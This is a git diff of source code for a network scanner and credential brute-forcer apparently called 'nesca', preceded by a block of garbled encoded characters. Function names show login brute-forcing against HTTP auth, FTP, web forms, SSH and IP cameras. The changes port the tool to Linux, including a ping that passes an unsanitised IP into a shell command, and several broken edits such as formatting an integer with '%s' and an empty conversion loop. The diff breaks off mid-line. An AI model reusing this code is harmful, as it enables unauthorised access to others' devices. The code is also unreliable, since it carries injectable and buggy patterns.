zy3@AnPWi9bzPS0?)o1&C={7r_;90S$L@1ASq)YcaQLd34iliH$o#7?CAHO4^o-25n zepA0XKOBYWMDNs7L_2iqEr$ni%NgDOzYq8457K=)?*G&0_b=k!{&(Ov;Md?1_%3(? zJPsZOUjS3!@5oF0055>&z_Z{I_#yZf_$GJ=P#qV5`4|O^0!9I&fKk9GU=%P47zK<1 zMggP1|F;6Pi!-?EL%TtG=cDf*!wZG5LmNVjGJy1k7CRoHsN)`ba0hGnxe7LD>T{yn zsV@eez^3z#$BsH;dxt)GW~Cn;=?#jVsrTM}8~;S|>VrV|$1_ zXta;r{hpQmM^zz}0!jg;fKosypcGIFC|4dyHnGC4!#GT1((4l*Z{}Cy&wX9bBCtA z3|<0Pz?Z=nz#7PcBR~VM->zx@0MCFc;PapiR=_fdgZG2?g4b`;v>$;VfbWB=;9KA_ zcpM18K@s$Ud%#`bU++R5;Cb*g_&WF;co>`mE8rCP0Qkc@HSHDfGPnw^fJZ?M%z!>{ z3%D6v!@Cf#fv3PU_~EUZ_5xS~f4T+ffM>urK@ofi+zD<2pT1es>c9jA@NsY)jDUMV zA9&)3racBe3oe08umLWB47eY>4`|@W??C?GyWm;yZSVy6D!2z628X~kY{>i>yb68` zeg>Wg&w($3^B@O42(F>+e+PaA9s}#33Ce)%!T<-qB9X`?4SymY7Y)y01F4fR9bA*S z+~VZfY+m+&2{+N#7AMOnvi?e7Li*iJUZzdY+8)pkEb8}QWq~Ff7 z=9iIfXPJ=rcG_Lu?Npc+p~A9$F$7`5pHlcsxbJF;-iFwBGkDx=>M<5HEw>VE(r~B& z$eooux5kP_)o@Ji^|2^admtyWP!Q3+aWdbdS7@6kI>RsT~s=I!jVQrZ|+hA z3?CKO7vp6v=)1V-7&Xpx^s1cKM9S6|+#7 zyl@6#3k4cQXBKn$>_VRPQ)7{cWTe|;YV<+xL5GmTaF5Sq&Zrb(TlU^{KQ z4dj$h6~`)~n08&Pj*e_US=wH5;?nDd(Q`GG9O{VC{m71V4Jp^3Cee%ulbW)q?3fv~ zpRcXqU~P^&>=c7>;kmSPe(>fpE7`niQC_@O7n|*T(DP*$c#hLEmmZnHeQO$pHe2GJ zkMg2bw=@cX-|}T(?#&yvqsOEp$HZ{9w0IT`LGwtIRf;43kPSQ3^cIHDII9aUg#q~@ z>g8XYqFKa8=q?@Jk@aAfhK%4iPN8WgNRh~63!u=_wPR)$Or)f1Yldc1AY_CAHYcP_ zB5n{h)t-*EreG8lnW3Qg*t+kTD4{Ss5k~EpGX#|gN-i~Ny0*nIWak=1gqCwr)-O{C zO4UjyjyW>T{DK0t?tXI0-J+-4b?!{bKxC04Elj?Q~9dfr44V0iscdP8OQU2$( z&u+YR^|hn6V^$j$XHmW(xaUka9Fx{OexefX@uUUNPWK$%kKYkc_7%KLzad|p@AX1= zqIc@aqwX2yn!#L5%Qag6uVamCVoglz|JM2aPq4Os5qt``pa=@!0yqa|!3?+`(0;&Q zu*UxdcpCf@Yxt|+Iq)4o>;21sgB+L!r$Gip!Cl}Ea4R?h{)V;uU%{*3r{Ei43ET}1 zfomx1E8zFwm*7S4HSiViIQSCS0-K-&sBT4|E~S7{Kq;UUPzopolmbctrNDnd0a~1P zFJ@_xD;IPf|L>YkdktFWY7_xX1Q$z{hDNPYa%}9x*yzZKVKa3iHCh_OZ}Yxk%S;Yi zMrvf_c*$r_?6LCmco}O6Z9KSe>=j&WCYzb+Uf=ibI%D}-p5nzudET`+w&Zpk%1Dpx z{mXDiUv8|+<=f8C*Wa5MI31o0V5`24{~os3x=s5Ojy$}fH8QqA|m34R@vorZcm1eJtZJ zP6sv2HO+=c2R{1#k9A^fh8q_5((F`YVn;MODVlRlqk7+ITj&)TN}dFr8bnBGR_&b+ ztiEM4$U`w~6sA}dCuDNFGR}giaXRKhCkhUC0=LeMwgb1vfefniw5``Ry7$+5TVWwL zkoOEa^*o*&W~cEBW+9I`J?__CZ0tMb;H)z=W7^doEmitionChangeBA(QString::number(BrutingThrds)); } + void BConDec() { if(BrutingThrds > 0) @@ -58,6 +60,7 @@ void BConDec() stt->doEmitionChangeBA(QString::number(BrutingThrds)); } + bool debugWriteWait = false; void _DebugWriteHTMLToFile(char *request, char *buff) { @@ -79,6 +82,7 @@ void _DebugWriteHTMLToFile(char *request, char *buff) }; debugWriteWait = false; } + unsigned char tl(unsigned char d) { if(d >= 192 && d <= 223) @@ -90,7 +94,8 @@ unsigned char tl(unsigned char d) { return tolower(d); }; -}; +} + int recvWT( int Socket, char *Buffer, @@ -116,6 +121,7 @@ int recvWT( } return(n) ; /* trouble */ } + std::string toLowerStr(const char *str) { int tsz = strlen(str); @@ -141,7 +147,8 @@ std::string toLowerStr(const char *str) return tstr; }; return ""; -}; +} + int OpenConnection(SOCKET *sock, const char *hostname, int port) { struct hostent *host; @@ -234,7 +241,8 @@ void _baSSLWorker(char *ip, char *request, char *rvBuff) ERR_error_string(ERR_peek_last_error(), buff2); stt->doEmitionRedFoundData(QString(ip) + " SSL(InitCTX) 1:" + QString(buff1) + " 2:" + QString(buff2)); }; -}; +} + char *_getAttributeValue(char *str, char *val, char *ip, int port) { char res[1024] = {0}; @@ -276,7 +284,7 @@ char *_getAttributeValue(char *str, char *val, char *ip, int port) stt->doEmitionRedFoundData("[_getAttributeValue] Error retrieving value: \"" + QString(val) + "\" IP:" + QString(ip) + ":" + QString::number(port) + ""); return ""; }; -}; +} #define HASHLEN 16 typedef char HASH[HASHLEN]; @@ -363,7 +371,7 @@ char *_makeDigestResponse( char responseMD5[64] = {0}; CvtHex(response, responseMD5); return (char*)responseMD5; -}; +} lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) { @@ -846,6 +854,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) strcpy(lps.login, "UNKNOWN"); return lps; } + lopaStr Connector::_BALobby(char *cookie, char *ip, int port, char *path, char *method, char *data = NULL) { while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); @@ -855,7 +864,7 @@ lopaStr Connector::_BALobby(char *cookie, char *ip, int port, char *path, char * BConDec(); return res; -}; +} lopaStr _FTPBrute(char *ip, int port, PathStr *ps) { @@ -1128,7 +1137,6 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps) return lps; }; -#pragma region Get pasv Port char *ptr0 = strstr(recvBuff2, "227 "); if( ptr0 != NULL ) @@ -1271,7 +1279,8 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps) isActive = 0; strcpy(lps.login, "UNKNOWN"); return lps; -}; +} + lopaStr Connector::_FTPLobby(char *ip, int port, PathStr *ps) { while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); @@ -1286,7 +1295,7 @@ lopaStr Connector::_FTPLobby(char *ip, int port, PathStr *ps) BConDec(); return lps; -}; +} int _sslConnectTo(char *iph, int porth, char *requesth, conSTR *CSTR) { @@ -1427,11 +1436,13 @@ int _sslConnectTo(char *iph, int porth, char *requesth, conSTR *CSTR) stt->doEmitionRedFoundData(QString(iph) + ":" + QString(porth) + " SSL(InitCTX) 1:" + QString(buff1) + " 2:" + QString(buff2)); return -1; } -}; +} + int Connector::_EstablishSSLConnection(char *iph, int porth, char *requesth, conSTR *CSTR) { return _sslConnectTo(iph, porth, requesth, CSTR); -}; +} + void __deleteExcessiveNullBytes(char *buff, int sz) { int j = 0; @@ -1439,7 +1450,8 @@ void __deleteExcessiveNullBytes(char *buff, int sz) { if(buff[i] != 0) buff[j++] = buff[i]; }; -}; +} + struct linger linger = { 0 }; int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *CSTR, int force) { @@ -1677,7 +1689,7 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C recvBuff2 = NULL; return -1; }; -}; +} #pragma region WF lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionVal, char *userVal, char *passVal, char *formVal) @@ -1967,7 +1979,8 @@ lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionV strcpy(lps.login, "UNKNOWN"); return lps; -}; +} + lopaStr Connector::_WFLobby(char *cookie, char *ip, int port, char *methodVal, char *actionVal, char *userVal, char *passVal, char *formVal) { while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); @@ -1979,7 +1992,7 @@ lopaStr Connector::_WFLobby(char *cookie, char *ip, int port, char *methodVal, c BConDec(); return res; -}; +} #pragma region SSH int _sshConnect(char *user, char *pass, char *host, int port) @@ -2028,7 +2041,8 @@ int _sshConnect(char *user, char *pass, char *host, int port) ssh_free(my_ssh_session); ++ssh; return 0; -}; +} + char *_get_ssh_banner(char *ip, int port) { Connector con; @@ -2045,7 +2059,8 @@ char *_get_ssh_banner(char *ip, int port) CSTR.lowerBuff = NULL; }; return recvBuff; -}; +} + int check_ssh_pass(char *user, char *pass, char *userPass, char *host, int port, conSTR *CSTR, char *banner) { int res = -1; @@ -2069,7 +2084,8 @@ int check_ssh_pass(char *user, char *pass, char *userPass, char *host, int port, return 0; }; return res; -}; +} + int _EstablishSSHConnection(char *host, int port, conSTR *CSTR, char *banner) { CSTR->lowerBuff = NULL; @@ -2112,7 +2128,7 @@ int _EstablishSSHConnection(char *host, int port, conSTR *CSTR, char *banner) BConDec(); isActive = 0; return -1; -}; +} #pragma region IPCAMWeb int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int passCounter, char *type, std::vector negVector) @@ -2207,7 +2223,8 @@ int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int CSSOCKET(sock); return 0; -}; +} + lopaStr _IPCameraBrute(char *ip, int port, char *SPEC) { lopaStr lps; @@ -2508,7 +2525,8 @@ lopaStr _IPCameraBrute(char *ip, int port, char *SPEC) isActive = 0; strcpy(lps.login, "UNKNOWN"); return lps; -}; +} + lopaStr Connector::_IPCameraBLobby(char *ip, int port, char *SPEC) { while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000); @@ -2518,8 +2536,10 @@ lopaStr Connector::_IPCameraBLobby(char *ip, int port, char *SPEC) BConDec(); return res; -}; +} + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) int _pingMyTarget(char *ip) { HANDLE hIcmpFile; @@ -2554,7 +2574,7 @@ int _pingMyTarget(char *ip) dwRetVal = IcmpSendEcho(hIcmpFile, ipaddr, SendData, sizeof(SendData), - NULL, ReplyBuffer, ReplySize, gPingTimeout); + NULL, ReplyBuffer, ReplySize, gPingTimeout*1000); if (dwRetVal != 0) { PICMP_ECHO_REPLY pEchoReply = (PICMP_ECHO_REPLY)ReplyBuffer; struct in_addr ReplyAddr; @@ -2579,7 +2599,32 @@ int _pingMyTarget(char *ip) if(gDebugMode) stt->doEmitionRedFoundData("[Pinger] Call to IcmpSendEcho failed. IcmpSendEcho returned error: " + QString::number(GetLastError())); return 0; }; -}; +} +#else +int _pingMyTarget(char *ip) +{ + FILE *pipe = popen(("ping -w " + std::to_string(gPingTimeout) + " " + ip).c_str(), "r"); + if(!pipe) { + stt->doEmitionRedFoundData("Ping pipe failed: cannot open pipe."); + perror("pipe"); + return 0; + } + + char buffer[128] = {0}; + std::string result; + + while(!feof(pipe)) { + if(fgets(buffer, 128, pipe) != NULL){ + result += buffer; + } + } + pclose(pipe); + + if(strstr((char*)result.c_str(), "100% packet loss") != NULL) return 0; + return 1; +} +#endif + QString strIP; QString strPort; const char *buff1 = "GET / HTTP/1.1\r\nHost: "; @@ -2592,7 +2637,8 @@ int Connector::_SSHLobby(char *ip, int port, conSTR *CSTR) { return _EstablishSSHConnection(ip, port, CSTR, banner); }; -}; +} + int Connector::_ConnectToPort(char *ip, const char *portC, char *hl) { if(gPingNScan) @@ -2644,4 +2690,4 @@ int Connector::_ConnectToPort(char *ip, const char *portC, char *hl) CSTR.lowerBuff = NULL; }; strFlag = 1; -}; +} diff --git a/externFunctions.h b/externFunctions.h index 7bb5d18..60eaab1 100644 --- a/externFunctions.h +++ b/externFunctions.h @@ -1,7 +1,6 @@ extern std::string toLowerStr(const char *str); extern int recvS(int lSock, char *recvBuffT, int len, int mode); extern int sendS(int lSock, char *msg, int len, int mode); -extern std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage); extern void UserNickInit(SOCKET lSock); extern void GetNicks(); extern int startScan(char* argv); @@ -15,4 +14,4 @@ extern char *_findFirst(char *str, char *delim); extern void nCleanup(); extern void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest); extern void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest); - +extern std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage); diff --git a/finder.cpp b/finder.cpp index 0660acb..393edb8 100644 --- a/finder.cpp +++ b/finder.cpp @@ -1099,7 +1099,6 @@ void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path }; isActive = 1; - char b[16] = {0}; char methodVal[128] = {0}; char actionVal[512] = {0}; char userVal[128] = {0}; @@ -1109,7 +1108,8 @@ void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path char formVal[128] = {0}; int fbsz = 0; char tport[16] = {0}; - strcpy(tport, itoa(port, b, 10)); + + sprintf(tport, "%d", port); std::vector inputVec; if(fBlock != NULL) { @@ -1264,10 +1264,8 @@ void _specWEBIPCAMBrute(char *ip, int port, char *hl, char *finalstr, int flag, ZeroMemory(lps.login, sizeof(lps.login)); ZeroMemory(lps.pass, sizeof(lps.pass)); ZeroMemory(lps.other, sizeof(lps.other)); - char tport[32] = {0}; - char b[16] = {0}; - strcpy(tport, ":"); - strcat(tport, itoa(port, b, 10)); + char tport[32] = {0}; + sprintf(tport, ":%d", port); Connector con; lps = con._IPCameraBLobby(ip, port, SPEC); @@ -1286,10 +1284,8 @@ void _specBrute(char *cookie, char *ip, int port, char *hl, char *finalstr, int ZeroMemory(lps.pass, sizeof(lps.pass)); ZeroMemory(lps.other, sizeof(lps.other)); char temp[64] = {0}; - char tport[32] = {0}; - char b[16] = {0}; - strcpy(tport, ":"); - strcat(tport, itoa(port, b, 10)); + char tport[32] = {0}; + sprintf(tport, ":%d", port); Connector con; if(strcmp(comment, "[DIGEST]") == 0) lps = con._BALobby(cookie, ip, port, path, "[DIGEST]", data); @@ -1434,24 +1430,30 @@ void _saveSSH(char *ip, int port, int recd, char *buffcpy) int gsz = ptr1 - buffcpy; strncpy(goodStr, buffcpy, gsz); if(strlen(ptr1 + 3) > 0) strcpy(banner, ptr1 + 3); - strcpy(logEmit, "[SSH] "); - strcpy(log, "[SSH] "); - strcat(log, goodStr); - strcat(log, ":"); - strcat(log, itoa(port, b, 10)); - strcat(log, ""); - strcat(log, "; Banner: "); - strcat(log, banner); - strcat(log, ""); + char portString[16] = {0}; + sprintf(portString, "%d", port); + sprintf(log, "[SSH] %s:%d ; Banner: %s ", goodStr, port, banner); + sprintf(log, "[SSH] %s:%d ", goodStr, port, banner); + +// strcpy(log, "[SSH] "); +// strcat(log, goodStr); +// strcat(log, ":"); +// strcat(log, itoa(port, b, 10)); +// strcat(log, ""); +// strcat(log, "; Banner: "); +// strcat(log, banner); +// strcat(log, ""); ++PieSSH; - strcat(logEmit, ""); - strcat(logEmit, goodStr); - strcat(logEmit, ":"); - strcat(logEmit, itoa(port, b, 10)); - strcat(logEmit, ""); - fputsf (ip, itoa(port, b, 10), log, -22, "SSH"); +// strcpy(logEmit, "[SSH] "); +// strcat(logEmit, ""); +// strcat(logEmit, goodStr); +// strcat(logEmit, ":"); +// strcat(logEmit, itoa(port, b, 10)); +// strcat(logEmit, ""); + + fputsf (ip, portString, log, -22, "SSH"); char loginSSH[128] = {0}; char passSSH[128] = {0}; char *ptrl1 = strstr(buffcpy, ":"); @@ -1548,7 +1550,7 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char * if(strstr(buffcpy, "Set-Cookie:") != NULL) strncpy(ps.cookie, _getAttribute(buffcpy, "Set-Cookie:"), COOKIE_MAX_SIZE); }; - strcpy(port, itoa(p, b, 10)); + sprintf(port, "%d", p); if(strstr(finalstr, ps.headr) == NULL) strcat(finalstr, ps.headr); if(flag == -1 || flag == 6 || strstr(finalstr, "[IGNR_ADDR]") != NULL) return -1; @@ -1943,6 +1945,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P strcpy(tempPath, "/"); }; + strcpy(mes, rbuff1); if(tempPath[0] != '/') strcat(mes, "/"); strcat(mes, tempPath); @@ -1951,7 +1954,8 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P if(tempPort != 80){ strcat(mes, ":"); char tbuff[16] = {0}; - strcat(mes, itoa(tempPort, tbuff, 10)); + sprintf(tbuff, "%s", tempPort); + strcat(mes, tbuff); } if(strlen(cookie) != 0) { @@ -2083,7 +2087,8 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P if(tempPort != 80){ strcat(mes, ":"); char tbuff[16] = {0}; - strcat(mes, itoa(tempPort, tbuff, 10)); + sprintf(tbuff, "%s", tempPort); + strcat(mes, tbuff); } if(strlen(cookie) != 0) { @@ -2170,7 +2175,8 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P if(tempPort != 80){ strcat(mes, ":"); char tbuff[16] = {0}; - strcat(mes, itoa(tempPort, tbuff, 10)); + sprintf(tbuff, "%s", tempPort); + strcat(mes, tbuff); } if(strlen(cookie) != 0) { @@ -2263,7 +2269,8 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P if(tempPort != 80){ strcat(mes, ":"); char tbuff[16] = {0}; - strcat(mes, itoa(tempPort, tbuff, 10)); + sprintf(tbuff, "%s", tempPort); + strcat(mes, tbuff); } if(strlen(cookie) != 0) { @@ -3042,4 +3049,4 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: strcpy(ps->path, "/"); return 0; -}; \ No newline at end of file +}; diff --git a/mainResources.h b/mainResources.h index f418e59..563697b 100644 --- a/mainResources.h +++ b/mainResources.h @@ -40,8 +40,8 @@ typedef void* HANDLE; typedef unsigned int UINT; typedef const char * LPCSTR; typedef int SOCKET; -typedef hostent HOSTENT; -typedef struct linger LINGER; +typedef hostent HOSTENT; +typedef struct linger LINGER; typedef int BOOL; #define INVALID_SOCKET (SOCKET)(~0) diff --git a/nesca.pro b/nesca.pro index 9edf02e..83fa075 100644 --- a/nesca.pro +++ b/nesca.pro @@ -36,7 +36,8 @@ SOURCES +=\ piestat.cpp \ progressbardrawer.cpp \ STh.cpp \ - vercheckerthread.cpp + vercheckerthread.cpp \ + finder.cpp HEADERS += ActivityDrawerTh_HorNet.h \ diff --git a/nesca_3.cpp b/nesca_3.cpp index 0fcade7..4577df6 100644 --- a/nesca_3.cpp +++ b/nesca_3.cpp @@ -20,8 +20,8 @@ #include #include #include -#include -#include +#include +#include #include #include #include @@ -1911,12 +1911,12 @@ void nesca_3::slotSaveImage(QAction *qwe) sceneGrid->render(&painter, QRect(ax, ay, w, h)); sceneGrid2->render(&painter, QRect(ax, ay, w, h)); - QString filename = QFileDialog::getSaveFileName( + QString filename = QFileDialog::getSaveFileName( this, tr("Save image"), QDir::currentPath() + "/" + fn, ".png", - &tr("*.png") + (QString *)"*.png" ); if(filename != "") image.save(filename + ".png"); } @@ -1939,7 +1939,7 @@ void nesca_3::slotSaveImage(QAction *qwe) tr("Save image"), QDir::currentPath() + "/" + fn, ".png", - &tr("*.png") + (QString *)"*.png" ); if(filename != "") image.save(filename + ".png"); }; @@ -3545,11 +3545,14 @@ void writeDebugFile(QString str) char b[8] = {0}; char fn[64] = {0}; strcpy(fn, "./output_"); - strcat(fn, itoa(qd.currentDate().day(), b, 10)); + sprintf(b, "%d", qd.currentDate().day()); + strcat(fn, b); strcat(fn, "_"); - strcat(fn, itoa(qd.currentDate().month(), b, 10)); + sprintf(b, "%d", qd.currentDate().month()); + strcat(fn, b); strcat(fn, "_"); - strcat(fn, itoa(qd.currentDate().year(), b, 10)); + sprintf(b, "%d", qd.currentDate().year()); + strcat(fn, b); strcat(fn, ".txt"); FILE *df = fopen(fn, "a"); diff --git a/nesca_startModule.cpp b/nesca_startModule.cpp index 5aafbae..47ff76d 100644 --- a/nesca_startModule.cpp +++ b/nesca_startModule.cpp @@ -29,7 +29,7 @@ int MaxPass = 0, MaxLogin = 0, MaxTags = 0, MaxWFLogin = 0, MaxWFPass = 0, MaxSS int ipsstart[4], ipsend[4], overallPorts, flCounter, octet[4]; unsigned char **ipsstartfl = NULL, **ipsendfl = NULL, **starterIP = NULL; -int gPingTimeout = 2000; +int gPingTimeout = 1; double ips = 0; char top_level_domain[128] = {0}; char endIP2[128] = {0}; @@ -116,7 +116,8 @@ void SaveErrorLog(char *sender, char *MesSent, char *ReplRecv) delete []totalErrLog; totalErrLog = NULL; }; -}; +} + QString GetNSErrorDefinition(char *str, char *elem) { char *temp = strstr(str, elem); @@ -134,30 +135,42 @@ QString GetNSErrorDefinition(char *str, char *elem) return QString(definition); } else return QString("No definition found!"); -}; +} + void ConInc() { - __asm - { - lock inc cons; - }; +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) +__asm + { + lock inc cons; + }; +#else + asm("lock incl cons"); +#endif stt->doEmitionThreads(QString::number(cons) + "/" + QString::number(gThreads)); -}; +} + void ConDec() { if(cons > 0) { - __asm - { - lock dec cons; - }; +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + __asm + { + lock dec cons; + }; +#else + asm("lock decl cons"); +#endif + }; stt->doEmitionThreads(QString::number(cons) + "/" + QString::number(gThreads)); -}; +} + void _SaveBackupToFile() { char saveStr[512] = {0}; @@ -321,32 +334,20 @@ void _SaveBackupToFile() strcat(saveStr, "\n"); strcat(saveBuffer, saveStr); ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[PING_TO]:"); - char tb[16] = {0}; - strcat(saveStr, itoa(gPingTimeout, tb, 10)); - strcat(saveStr, "\n"); + + sprintf(saveStr, "[PING_TO]: %d\n", gPingTimeout); strcat(saveBuffer, saveStr); ZeroMemory(saveStr, sizeof(saveStr)); - strcpy(saveStr, "[THREAD_DELAY]:"); - ZeroMemory(tb, 16); - strcat(saveStr, itoa(gThreadDelay, tb, 10)); - strcat(saveStr, "\n"); + sprintf(saveStr, "[THREAD_DELAY]: %d\n", gThreadDelay); strcat(saveBuffer, saveStr); ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[TIMEOUT]:"); - ZeroMemory(tb, 16); - strcat(saveStr, itoa(gTimeOut, tb, 10)); - strcat(saveStr, "\n"); + + sprintf(saveStr, "[TIMEOUT]: %d\n", gTimeOut); strcat(saveBuffer, saveStr); ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[MAXBTHR]:"); - ZeroMemory(tb, 16); - strcat(saveStr, itoa(gMaxBrutingThreads, tb, 10)); - strcat(saveStr, "\n"); + + sprintf(saveStr, "[MAXBTHR]: %d\n", gMaxBrutingThreads); strcat(saveBuffer, saveStr); ZeroMemory(saveStr, sizeof(saveStr)); @@ -377,7 +378,7 @@ void _saver() __savingBackUpFile = false; Sleep(10000); }; -}; +} #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) void _timer() @@ -786,7 +787,7 @@ void *_tracker() }; trackAlreadyGoing = false; }; -}; +} unsigned long int numOfIps(int ipsstart[], int ipsend[]) { @@ -801,7 +802,8 @@ unsigned long int numOfIps(int ipsstart[], int ipsend[]) //unsigned long gTargets = ip2 - ip1; return gTargets; -}; +} + //#include //#include //#include @@ -894,7 +896,8 @@ void *_connect(void* ss) }; ConDec(); -}; +} + void targetAndIPWriter(unsigned long int target, char *buff) { char curIPBuff[256] = {0}, targetNPers[32] = {0}, dbuffer[32] = {0}; @@ -917,7 +920,8 @@ void targetAndIPWriter(unsigned long int target, char *buff) stt->doEmitionIPRANGE(QString(curIPBuff)); stt->doEmitionTargetsLeft(QString(targetNPers)); -}; +} + void _passLoginFapper() { MaxLogin = 0; @@ -1136,7 +1140,8 @@ void _passLoginFapper() stt->doEmitionYellowFoundData("BA: ~" + QString(std::to_string(MaxLogin * MaxPass/gTimeOut/60).c_str()) + "; WF: ~" + QString(std::to_string(MaxWFLogin * MaxWFPass/gTimeOut/60).c_str()) + "; SSH: ~" + QString(std::to_string(MaxSSHPass/gTimeOut/60).c_str())); -}; +} + void ReadUTF8(FILE* nFile, char *cp) { char buffFG[256] = {0}; @@ -1201,7 +1206,11 @@ void ReadUTF8(FILE* nFile, char *cp) if(strstr((char*)buffFG, "\n") != 0) { - std::string res = xcode(buffFG, CP_UTF8, CP_ACP); + std::string res; +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + res = xcode(buffFG, CP_UTF8, CP_ACP); +#else +#endif int sz = res.size(); GlobalNegatives[i] = new char[sz + 1]; ZeroMemory(GlobalNegatives[i], sizeof(GlobalNegatives[i])); @@ -1211,7 +1220,11 @@ void ReadUTF8(FILE* nFile, char *cp) } else { - std::string res = xcode(buffFG, CP_UTF8, CP_ACP); + std::string res; +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + res = xcode(buffFG, CP_UTF8, CP_ACP); +#else +#endif int sz = res.size(); GlobalNegatives[i] = new char[sz + 1]; ZeroMemory(GlobalNegatives[i], sizeof(GlobalNegatives[i])); @@ -1222,7 +1235,7 @@ void ReadUTF8(FILE* nFile, char *cp) unsigned char buffcpy2[256] = {0}; int sz = strlen((char*)buffFG); -#ifdef WIN32 +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) strncpy((char*)buffcpy2, xcode(buffFG, CP_ACP, CP_UTF8).c_str(), sz); #else strncpy((char*)buffcpy2, buffFG, sz); @@ -1246,23 +1259,48 @@ void ReadUTF8(FILE* nFile, char *cp) }; } -#ifdef WIN32 + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) +unsigned char* ASCIItoUNICODE (unsigned char ch) +{ + unsigned char Val[2]; + if ((ch < 192)&&(ch != 168)&&(ch != 184)) {Val[0] = 0; Val[1] = ch; return Val;} + if (ch == 168) {Val[0] = 208; Val[1] = 129; return Val;} + if (ch == 184) {Val[0] = 209; Val[1] = 145; return Val;} + if (ch < 240) {Val[0] = 208; Val[1] = ch-48; return Val;} + if (ch < 249) {Val[0] = 209; Val[1] = ch-112; return Val;} +} +#endif + std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage) { + std::string res; +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) int wsize = MultiByteToWideChar(srcCodePage, 0, src, -1, 0, 0); LPWSTR wbuf = (LPWSTR)new char[wsize * sizeof(WCHAR)]; MultiByteToWideChar(srcCodePage, 0, src, -1, wbuf, wsize); int size = WideCharToMultiByte(dstCodePage, 0, wbuf, -1, 0, 0, 0, 0); char * buf = (char *)new char[size]; WideCharToMultiByte(dstCodePage, 0, wbuf, -1, buf, size, 0, 0); - delete [] wbuf; - - std::string res; + delete wbuf; + res.append(buf); - delete [] buf; + delete buf; +#else + unsigned int size = 0; + while (src[size++]!=0); + char * buf = (char *)new char[size]; + unsigned char uni[16] = {0}; + + size=0; + while (src[size]!=0) + { + + }; + delete buf; +#endif return res; } -#endif void _NegativeFapper() { FILE *nFile = fopen("negatives.txt", "rb"); @@ -1283,7 +1321,8 @@ void _NegativeFapper() ReadUTF8(nFile, "1251"); }; } -}; +} + void CheckMaskBits(char *res, int index) { char *bitsStr = strstr(res, "/"); @@ -1346,7 +1385,8 @@ void CheckMaskBits(char *res, int index) stt->doEmitionKillSttThread(); }; -}; +} + void GetOctets(char *curIP) { char *str1; @@ -1426,7 +1466,8 @@ void GetOctets(char *curIP) octet[3] = atoi(temp); return; }; -}; +} + int fInit(int InitMode, char *gR) { strcpy(metaRange, gR); @@ -1603,7 +1644,8 @@ int fInit(int InitMode, char *gR) targets = numOfIps(ipsstart, ipsend); }; -}; +} + void FileLoader(char *str) { char res[256] = {0}; @@ -1847,7 +1889,8 @@ void FileLoader(char *str) { stt->doEmitionRedFoundData("[IP Loader] Cannot open IP list."); }; -}; +} + char *GetCIDRRangeStr(char *str) { char result[128] = {0}; @@ -1915,37 +1958,62 @@ char *GetCIDRRangeStr(char *str) mOctet[3] = 0; }; - strcpy(start, itoa(octet[0]&mOctet[0], buff, 10)); - strcat(start, "."); - strcat(start, itoa(octet[1]&mOctet[1], buff, 10)); - strcat(start, "."); - strcat(start, itoa(octet[2]&mOctet[2], buff, 10)); - strcat(start, "."); - strcat(start, itoa(octet[3]&mOctet[3], buff, 10)); - - unsigned char tempRes = 0; - if(mOctet[0] == 255) tempRes = octet[0]; - else tempRes = octet[0]|~mOctet[0]; - strcat(end, itoa(tempRes, buff, 10)); - strcat(end, "."); - if(mOctet[1] == 255) tempRes = octet[1]; - else tempRes = octet[1]|~mOctet[1]; - strcat(end, itoa(tempRes, buff, 10)); - strcat(end, "."); - if(mOctet[2] == 255) tempRes = octet[2]; - else tempRes = octet[2]|~mOctet[2]; - strcat(end, itoa(tempRes, buff, 10)); - strcat(end, "."); - if(mOctet[3] == 255) tempRes = octet[3]; - else tempRes = octet[3]|~mOctet[3]; - strcat(end, itoa(tempRes, buff, 10)); + + sprintf(start, "%d.%d.%d.%d", octet[0]&mOctet[0], + octet[1]&mOctet[1], + octet[2]&mOctet[2], + octet[3]&mOctet[3]); + +// strcpy(start, itoa(octet[0]&mOctet[0], buff, 10)); +// strcat(start, "."); +// strcat(start, itoa(octet[1]&mOctet[1], buff, 10)); +// strcat(start, "."); +// strcat(start, itoa(octet[2]&mOctet[2], 